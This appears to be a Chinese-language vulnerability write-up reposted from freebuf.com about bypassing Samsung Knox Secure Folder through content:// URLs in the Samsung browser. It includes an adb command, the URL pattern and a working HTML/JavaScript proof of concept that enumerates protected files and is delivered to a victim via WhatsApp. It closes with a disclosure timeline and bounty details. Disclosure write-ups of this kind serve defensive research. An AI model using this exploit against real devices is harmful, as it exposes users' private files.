Samsung Knox是防御级移动安全平台,内置于三星设备中,通过物理手段和软件体系相结合的方式全方位增强安全性,从硬件到应用层都提供安全保护。作者通过路径和文件构造,以未授权方式绕过Samsung Knox保护读取安全文件夹中的存储文件,收获三星$3750美元奖励。
漏洞介绍
正常来说,三星多用户存储环境(MULTI-USER STORAGE)使用了安全文件夹APP来加固保密文件,内容提供商(Content Provider)无权访问其中的文件,因此,用浏览器或APP也无法访问多用户存储环境中的相关文件。
该漏洞在于,当安全文件夹处于锁定状态时,可以使用内容URL链接,通过三星浏览器访问这些安全文件。访问多用户存储环境中的特定文件需要在内容URL链接中加上对应的一个文件号,因此,可以利用 javascript 脚本枚举出多用户存储环境中的所有文件。
漏洞复现
1、获取多用户存储环境中的用户信息:
adb shell pm list users
然后会得到以下信息:
UserInfo{0:rahul:1} running
UserInfo{150:Secure Folder: } running
2、构造以下内容URL链接来访问相应文件:
content://150@media/external/file/file_number
3、基于该漏洞,构造以下html代码文件对存储中的文件进行枚举:
<html> <body> <script> var scriptElement = document.createElement("script"); var i = 0; function next(){ scriptElement.onerror = function() { i++; document.write('Finding'); next(); }; scriptElement.onload = function() { foundIt(); }; scriptElement.src = "content://150@media/external/file/" + i; document.body.appendChild(scriptElement); } function foundIt() { alert(scriptElement.src); }; </script> </body> </html>
4、出于验证漏洞,减少攻击步骤,此处把该html文件通过Whatsapp发送给受害者;
5、当受害者在三星浏览器中打开该html文件时,该文件将会执行文件枚举,如果发现有效文件,将会显示出相应的内容URL链接路径(从技术上说也可以在该html文件中设置响应以便攻击者可以获取);
6、同样的,如果在三星浏览器中打开上述获取的内容URL链接,如content://150@media/external/file/1002,就可显示出具体的安全文件,之后可以通过xhr请求发送到攻击者控制的服务器中。
漏洞验证
1、发送html文件给受害者:
2、构造content://链接:
3、即可访问存储中的文件:
漏洞报送和处理进程
2020.6.12 漏洞报送
2020.6.15 漏洞分类
2020.7.24 三星方面声称要与内部供应商协调
2020.8.14 三星方面承认漏洞高危
2020.9.15 三星奖励$3750
2020.10.05 三星给予内部漏洞编号SVE-2020-18025
参考来源:
来源:freebuf.com 2020-10-19 19:53:46 by: clouds
请登录后发表评论
注册